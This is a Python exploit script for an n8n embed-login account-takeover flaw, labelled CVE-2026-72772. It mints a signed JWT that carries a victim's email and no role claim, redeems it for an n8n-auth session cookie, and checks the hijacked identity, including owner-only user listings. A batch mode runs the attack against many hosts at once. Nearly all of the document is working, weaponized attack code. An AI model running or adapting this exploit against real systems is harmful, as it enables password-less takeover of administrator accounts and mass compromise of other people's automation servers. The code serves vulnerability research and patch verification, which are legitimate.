...[ More ]

#!/usr/bin/env python3
    """
    CVE-2026-72772 - n8n Token-Exchange Embed Login account takeover (auth bypass)
    Affected: n8n <= 2.31.4 and 2.32.0  (fixed in 2.31.5 / 2.32.1)
    Type: Authentication bypass / account takeover
    
    The Token-Exchange embed login resolves an externally-signed JWT onto a local
    n8n account. On a vulnerable build the "email fallback" path trusts the token's
    `email` claim as proof of account ownership without checking that the claim is
    verified, and never tests the trusted key's role ceiling (`allowedRoles`)
    against the account being logged into. An attacker who can present any JWT that
    a configured trusted key accepts can therefore mint a session for ANY existing
    account - including the instance owner (global:owner) - by:
    
      1. setting the `email` claim to the victim's address, and
      2. omitting the `role` claim entirely (a role the key forbids would be
         rejected on the vulnerable build too; omitting it side-steps the role
         logic and leaves the victim's own high privilege intact).
    
    This PoC needs the private half of one trusted key (in a real embedding
    deployment: any tenant able to have that issuer sign a token for it). It mints
    a short-lived RS256 token, redeems it at /rest/auth/embed to obtain the
    `n8n-auth` session cookie, then replays that cookie against /rest/login to
    prove whose session was issued.
    
    Usage:
      python exploit.py --host <target> --port 5678 --key trusted.pem --email [email protected]
      python exploit.py --host https://n8n.corp.com --key trusted.pem --email [email protected]
      python exploit.py --host 10.0.0.5:5678 --key trusted.pem --email [email protected] --kid embed-key-1
      python exploit.py --list targets.txt --key trusted.pem --email [email protected] --workers 20
    
    Signing:
      Uses the `cryptography` library if installed, otherwise falls back to the
      `openssl` command-line tool. Only one of the two needs to be present.
    """
    
    import argparse
    import base64
    import json
    import subprocess
    import sys
    import time
    import uuid
    from urllib.parse import urlparse
    
    import requests
    from requests.exceptions import RequestException
    
    # n8n issues the cookie with Secure; SameSite=None. That is irrelevant to an
    # HTTP client - do not "upgrade" to TLS on account of it; read the cookie off
    # the 302 and send it back by hand.
    requests.packages.urllib3.disable_warnings()  # noqa: E402
    
    CVE_ID = "CVE-2026-72772"
    VULN_TYPE = "Auth Bypass"
    
    # Trusted-key defaults matching a typical embed-login static key entry. Override
    # per target: --kid / --issuer / --aud must byte-match the target's configured key.
    DEFAULT_KID = "embed-key-1"
    DEFAULT_ISS = "https://idp.example.com"
    DEFAULT_AUD = "n8n"
    DEFAULT_PORT = 5678
    
    
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # --------------------------------------------------------------------------- #
    # JWT minting                                                                 #
    # --------------------------------------------------------------------------- #
    
    def _b64u(raw: bytes) -> str:
        return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
    
    
    def _rs256_sign(signing_input: bytes, key_pem_path: str) -> bytes:
        """Sign with RSASSA-PKCS1-v1_5 / SHA-256. Prefer `cryptography`, fall back to openssl."""
        try:
            from cryptography.hazmat.primitives import hashes, serialization
            from cryptography.hazmat.primitives.asymmetric import padding
    
            with open(key_pem_path, "rb") as fh:
                priv = serialization.load_pem_private_key(fh.read(), password=None)
            return priv.sign(signing_input, padding.PKCS1v15(), hashes.SHA256())
        except ImportError:
            pass  # fall through to openssl
    
        proc = subprocess.run(
            ["openssl", "dgst", "-sha256", "-sign", key_pem_path],
            input=signing_input, capture_output=True,
        )
        if proc.returncode != 0:
            raise RuntimeError(
                "openssl signing failed (and the cryptography library is not installed): "
                + proc.stderr.decode("utf-8", "replace").strip()
            )
        return proc.stdout
    
    
    def mint_token(email: str, key_pem_path: str, kid: str, issuer: str, aud: str,
                   iat_offset: int = 0, role=None) -> str:
        """Mint a short-lived RS256 embed token. `role` is omitted unless explicitly set."""
        hdr = {"alg": "RS256", "kid": kid, "typ": "JWT"}
        now = int(time.time()) + iat_offset
        payload = {
            "iss": issuer,
            "aud": aud,
            "sub": f"ext-{uuid.uuid4()}",   # fresh subject -> resolution reaches the email path
            "iat": now,
            "exp": now + 30,                # exp - iat must stay <= 60
            "jti": str(uuid.uuid4()),       # consumed once; reuse returns token_replay
            "email": email,
        }
        if role is not None:                # left out by default - that omission is the attack
            payload["role"] = role
        signing_input = (
            _b64u(json.dumps(hdr, separators=(",", ":")).encode())
            + "."
            + _b64u(json.dumps(payload, separators=(",", ":")).encode())
        ).encode()
        sig = _rs256_sign(signing_input, key_pem_path)
        return signing_input.decode() + "." + _b64u(sig)
    
    
    # --------------------------------------------------------------------------- #
    # HTTP helpers                                                                #
    # --------------------------------------------------------------------------- #
    
    def _base_url(host: str, port: int, use_tls: bool) -> str:
        scheme = "https" if use_tls else "http"
        return f"{scheme}://{host}:{port}"
    
    
    def _extract_cookie(resp) -> str:
        """Pull the raw n8n-auth cookie value out of a response's Set-Cookie header(s)."""
        val = resp.cookies.get("n8n-auth")
        if val:
            return val
        raw = resp.headers.get("Set-Cookie", "")
        if "n8n-auth=" in raw:
            return raw.split("n8n-auth=", 1)[1].split(";", 1)[0]
        return ""
    
    
    def _role_of(user: dict):
        """n8n returns the role as either a plain slug string or a {slug: ...} object."""
        role = user.get("role")
        if isinstance(role, dict):
            return role.get("slug")
        return role
    
    
    def _redeem(base: str, token: str, timeout: float, session: requests.Session):
        """Redeem a token at /rest/auth/embed WITHOUT following the redirect. Returns (resp, cookie)."""
        resp = session.get(
            f"{base}/rest/auth/embed",
            params={"token": token},
            allow_redirects=False,
            timeout=timeout,
            verify=False,
        )
        return resp, _extract_cookie(resp)
    
    
    def _refusal_reason(resp) -> str:
        try:
            j = resp.json()
            return (j.get("error_description") or j.get("message")
                    or j.get("error") or j.get("code") or resp.text[:160])
        except ValueError:
            return resp.text[:160]
    
    
    # --------------------------------------------------------------------------- #
    # Core exploit primitive (silent - used by both single and scan modes)        #
    # --------------------------------------------------------------------------- #
    
    def _try_exploit(host, port, use_tls=False, *, key, email, kid, issuer, aud,
                     timeout=15.0, iat_offset=0):
        """Silent probe. Returns (success, evidence). Never prints or exits."""
        base = _base_url(host, port, use_tls)
        session = requests.Session()
        try:
            token = mint_token(email, key, kid, issuer, aud, iat_offset=iat_offset)
        except Exception as e:  # signing failed - a local/config problem, report it plainly
            return False, f"token signing failed ({e.__class__.__name__}: {e})"
    
        try:
            resp, cookie = _redeem(base, token, timeout, session)
        except RequestException as e:
            return False, f"unreachable ({e.__class__.__name__})"
    
        if resp.status_code not in (301, 302) or not cookie:
            return False, f"HTTP {resp.status_code} - {_refusal_reason(resp)}"
    
        # Session cookie issued. Prove whose session it is.
        try:
            who = session.get(f"{base}/rest/login",
                              headers={"Cookie": f"n8n-auth={cookie}"},
                              timeout=timeout, verify=False)
            user = who.json().get("data", who.json())
        except (RequestException, ValueError) as e:
            return True, f"session cookie issued but /rest/login unreadable ({e.__class__.__name__})"
    
        got_email = user.get("email")
        role = _role_of(user)
        if got_email and got_email.lower() == email.lower():
            return True, f"authenticated as '{got_email}' role={role} (no password used)"
        return True, f"session issued for '{got_email}' role={role}"
    
    
    # --------------------------------------------------------------------------- #
    # Single-target verbose exploit                                               #
    # --------------------------------------------------------------------------- #
    
    def exploit(host, port, use_tls, *, key, email, kid, issuer, aud, timeout=15.0):
        header(host, port)
        base = _base_url(host, port, use_tls)
        session = requests.Session()
    
        step(1, f"Minting RS256 embed token for victim '{email}' (kid={kid}, iss={issuer})")
        step(1, "  email claim = victim address; role claim omitted (this is the bypass)")
        try:
            token = mint_token(email, key, kid, issuer, aud)
        except Exception as e:
            section("SIGNING ERROR", f"{e.__class__.__name__}: {e}")
            done(False, "could not sign the token - check --key and that openssl or cryptography is available")
    
        # Correct for clock skew between us and the target if the token is rejected on timing.
        step(2, "Redeeming token at GET /rest/auth/embed (redirects disabled)")
        try:
            resp, cookie = _redeem(base, token, timeout, session)
        except RequestException as e:
            section("CONNECTION ERROR", f"{e.__class__.__name__}: {e}")
            done(False, f"target unreachable at {base}")
    
        if resp.status_code not in (301, 302) or not cookie:
            reason = _refusal_reason(resp)
            # A timing rejection is often clock skew: retry once with the server's own clock.
            if resp.status_code in (400, 401) and "signature" in str(reason).lower():
                server_date = resp.headers.get("Date")
                if server_date:
                    try:
                        from email.utils import parsedate_to_datetime
                        skew = int(parsedate_to_datetime(server_date).timestamp()) - int(time.time())
                        if abs(skew) > 2:
                            step(2, f"  signature rejected; retrying with {skew:+d}s clock-skew correction")
                            token = mint_token(email, key, kid, issuer, aud, iat_offset=skew)
                            resp, cookie = _redeem(base, token, timeout, session)
                            reason = _refusal_reason(resp)
                    except Exception:
                        pass
    
        if resp.status_code not in (301, 302) or not cookie:
            section("SERVER RESPONSE", f"HTTP {resp.status_code}\n{resp.text[:400]}")
            reason = _refusal_reason(resp)
            hint = ""
            if "role_not_allowed" in str(reason) or "not allowed" in str(reason):
                hint = " (target appears PATCHED: assertKeyMayActAsUser/excludeOwner rejected the account)"
            elif "email_not_verified" in str(reason) or "not verified" in str(reason):
                hint = " (target appears PATCHED: requireVerifiedEmail is enforced)"
            elif "token_replay" in str(reason):
                hint = " (jti replay - retry with a fresh token; NOT a patched target)"
            done(False, f"no session issued: {reason}{hint}")
    
        step(3, "Session cookie issued - HTTP 302 + Set-Cookie: n8n-auth")
        section("SESSION COOKIE", f"n8n-auth={cookie[:48]}... (truncated)")
    
        step(4, "Replaying cookie against GET /rest/login to identify the session")
        try:
            who = session.get(f"{base}/rest/login",
                              headers={"Cookie": f"n8n-auth={cookie}"},
                              timeout=timeout, verify=False)
            data = who.json()
            user = data.get("data", data)
        except (RequestException, ValueError) as e:
            section("VERIFY ERROR", f"{e.__class__.__name__}: {e}")
            done(True, "session cookie was issued (302) but identity could not be confirmed via /rest/login")
    
        got_email = user.get("email")
        role = _role_of(user)
        is_owner = user.get("isOwner")
        section("AUTHENTICATED USER (/rest/login)",
                json.dumps({"email": got_email, "role": role, "isOwner": is_owner,
                            "signInType": user.get("signInType"), "id": user.get("id")}, indent=2))
    
        # Optional capability demonstration: an owner-only route a member could not read.
        if role in ("global:owner", "global:admin"):
            step(5, "Exercising owner-scoped route GET /rest/users (denied to global:member)")
            try:
                users = session.get(f"{base}/rest/users",
                                   headers={"Cookie": f"n8n-auth={cookie}"},
                                   timeout=timeout, verify=False)
                if users.status_code == 200:
                    body = users.json()
                    items = body.get("data", body)
                    count = items.get("count") if isinstance(items, dict) else None
                    section("OWNER-ONLY ROUTE (/rest/users)",
                            f"HTTP 200, user count = {count}\n{users.text[:300]}")
            except (RequestException, ValueError):
                pass
    
        if got_email and got_email.lower() == email.lower():
            done(True, f"Account takeover confirmed - authenticated as '{got_email}' "
                       f"(role={role}) without any password, above the key's allowedRoles ceiling")
        done(False, f"session issued but for '{got_email}', not the requested victim '{email}'")
    
    
    # --------------------------------------------------------------------------- #
    # Batch scan mode                                                             #
    # --------------------------------------------------------------------------- #
    
    def _parse_target(line, default_port, default_path="/"):
        """One target line -> (host, port, use_tls, path), or None to skip."""
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers=10, *, key, email, kid, issuer, aud):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, key=key, email=email,
                                        kid=kid, issuer=issuer, aud=aud)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # --------------------------------------------------------------------------- #
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC (n8n embed-login account takeover)")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://n8n.corp.com:5678)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=DEFAULT_PORT, help=f"Default port (default: {DEFAULT_PORT})")
        parser.add_argument("--email", default="[email protected]",
                            help="Victim account to take over, matched by email claim (default: [email protected])")
        parser.add_argument("--key", default="embed-key-private.pem",
                            help="Path to the trusted key's PRIVATE PEM used to sign the token (default: embed-key-private.pem)")
        parser.add_argument("--kid", default=DEFAULT_KID, help=f"JWT header kid, must match the configured key (default: {DEFAULT_KID})")
        parser.add_argument("--issuer", default=DEFAULT_ISS, help=f"iss claim, must byte-match the key's issuer (default: {DEFAULT_ISS})")
        parser.add_argument("--aud", default=DEFAULT_AUD, help=f"aud claim, must match expectedAudience (default: {DEFAULT_AUD})")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 key=args.key, email=args.email, kid=args.kid, issuer=args.issuer, aud=args.aud)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, key=args.key, email=args.email,
                    kid=args.kid, issuer=args.issuer, aud=args.aud)